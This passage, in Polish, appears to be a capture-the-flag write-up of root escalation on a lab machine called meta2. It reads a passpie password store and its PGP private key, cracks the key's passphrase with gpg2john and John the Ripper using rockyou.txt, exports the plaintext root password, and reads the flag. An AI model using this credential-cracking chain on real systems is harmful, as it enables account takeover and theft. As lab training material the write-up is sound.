, czyli plikom gdzie faktycznie znajdują się hasła, dowiadujemy się, że są one zaszyfrowane gpg
:
jnelson@meta2:~/.passpie/ssh$ cat root.pass
comment: ''
fullname: root@ssh
login: root
modified: 2022-06-26 08:58:15.621572
name: ssh
password: '-----BEGIN PGP MESSAGE-----
hQEOA6I+wl+LXYMaEAP/T8AlYP9z05SEST+Wjz7+IB92uDPM1RktAsVoBtd3jhr2
nAfK00HJ/hMzSrm4hDd8JyoLZsEGYphvuKBfLUFSxFY2rjW0R3ggZoaI1lwiy/Km
yG2DF3W+jy8qdzqhIK/15zX5RUOA5MGmRjuxdco/0xWvmfzwRq9HgDxOJ7q1J2ED
/2GI+i+Gl+Hp4LKHLv5mMmH5TZyKbgbOL6TtKfwyxRcZk8K2xl96c3ZGknZ4a0Gf
iMuXooTuFeyHd9aRnNHRV9AQB2Vlg8agp3tbUV+8y7szGHkEqFghOU18TeEDfdRg
krndoGVhaMNm1OFek5i1bSsET/L4p4yqIwNODldTh7iB0ksB/8PHPURMNuGqmeKw
mboS7xLImNIVyRLwV80T0HQ+LegRXn1jNnx6XIjOZRo08kiqzV2NaGGlpOlNr3Sr
lpF0RatbxQGWBks5F3o=
=uh1B
-----END PGP MESSAGE-----
'
Dużo ciekawszy jest jednak plik .keys
, gdzie znajduje się klucz prywatny i publiczny używany przez passpie
do szyfrowania haseł:
jnelson@meta2:~/.passpie$ cat .keys
-----BEGIN PGP PUBLIC KEY BLOCK-----
mQSuBGK4V9YRDADENdPyGOxVM7hcLSHfXg+21dENGedjYV1gf9cZabjq6v440NA1
AiJBBC1QUbIHmaBrxngkbu/DD0gzCEWEr2pFusr/Y3yY4codzmteOW6Rg2URmxMD
...[snip]...
-----END PGP PUBLIC KEY BLOCK-----
-----BEGIN PGP PRIVATE KEY BLOCK-----
lQUBBGK4V9YRDADENdPyGOxVM7hcLSHfXg+21dENGedjYV1gf9cZabjq6v440NA1
AiJBBC1QUbIHmaBrxngkbu/DD0gzCEWEr2pFusr/Y3yY4codzmteOW6Rg2URmxMD
...[snip]...
-----END PGP PRIVATE KEY BLOCK-----
John The Ripper
Plan działania jest więc następujący: wykorzystamy narzędzie john the ripper
by próbować złamać klucz prywatny z pliku .keys
(niestety hashcat
nie radzi sobie z gpg
, dlatego tym razem nie jest on naszym pierwszym wyborem).
W tym celu pobieramy plik .keys
na własną maszynę, usuwamy z niego klucz publiczny, a następnie pozostałą zawartość (klucz prywatny) przepuszczamy przez pgp2john
by uzyskać format zrozumiały dla john the rippera
:
rvr@rvr$ gpg2john metapress_priv.keys > metapress_priv.john
Dalej uruchamiamy właściwego johna
ze słownikiem rockyou.txt
:
rvr@rvr$ john --wordlist=/usr/share/wordlists/rockyou.txt metapress_priv.john
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
No password hashes left to crack (see FAQ)
Otrzymujemy:
rvr@rvr$ john --show metapress_priv.john
Passpie:blink182:::Passpie (Auto-generated by Passpie) <passpie@local>::metapress_priv.keys
1 password hash cracked, 0 left
Passphrase został odzyskany. Możemy teraz wyeksportować hasła z passpie
podając blink182
jako passphrase. Otrzymujemy:
jnelson@meta2:~$ passpie export pwds
Passphrase:
jnelson@meta2:~$ cat pwds
credentials:
- comment: ''
fullname: root@ssh
login: root
modified: 2022-06-26 08:58:15.621572
name: ssh
password: !!python/unicode 'p7qfAZt4_A1xo_0x'
- comment: ''
fullname: jnelson@ssh
login: jnelson
modified: 2022-06-26 08:58:15.514422
name: ssh
password: !!python/unicode 'Cb4_JmWM8zUZWMu@Ys'
handler: passpie
version: 1.0
Następnie logujemy się na konto root
:
jnelson@meta2:~$ su - root
Password:
root@meta2:~# id
uid=0(root) gid=0(root) groups=0(root)
I wreszcie odczytujemy flagę:
root@meta2:~# cat root.txt
6b78ad631***********************